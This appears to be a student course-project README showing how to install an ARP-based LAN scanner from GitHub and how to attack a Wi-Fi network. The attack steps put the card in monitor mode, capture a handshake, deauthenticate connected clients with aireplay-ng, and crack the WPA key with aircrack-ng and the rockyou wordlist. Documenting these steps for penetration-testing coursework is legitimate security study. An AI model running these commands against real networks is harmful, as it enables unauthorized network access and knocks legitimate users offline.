**CSE496 PROJECT REMARKS**

Our project was heavier on the code and commands side, as we have use Kali linux tools and python to carry out our project.

So we are showcasing how the project could be run:

- **Networkscanner:**

  Networkscanner is LAN scanner in python 3

  It can be used to scan a target or a network range

  it works on ARP to scan network

  **Installation**
  sudo -i

  git clone https://github.com/yeasin1052/cse496-networkscanner

  cd cse496-networkscanner

  cd Networkscanner

  sudo chmod +x setup.sh

  sudo bash setup.sh

  networkscanner -t [target]

  **Example input**
  networkscanner -t 192.168.0.1

  networkscanner -t 192.168.0.101

  networkscanner -t 192.168.0.101/24

- **Wifi Penetration Testing:**

  **Command Steps for run:**

  To hack a wireless network, you need a wireless card with two features:

  Make sure your card supports monitor mode/promiscuous mode
  Make sure you card is capable of performing packet injection.
  Now, we will be using Kali Linux with the ALFA W115 short Range adapter.

  **Wifi Hacking Commands:**

  sudo su

  cd /home/kali/Desktop/

  airmon-ng start wlan0 [Before and after check model: iwconfig]

  airodump-ng wlan0

  airodump-ng --bssid "mac of wifi" --channel "No" --write hack wlan0

  Open New Terminal:

  1.cd /home/kali/Desktop/

  aireplay-ng --deauth 25 -a "mac of wifi" -e "mac of connected device" wlan0
  If rockyou.txt file is in zipped format: gzip -d rockyou.txt.gz

  Else: aircrack-ng hack-01.cap -w /usr/share/wordlists/rockyou.txt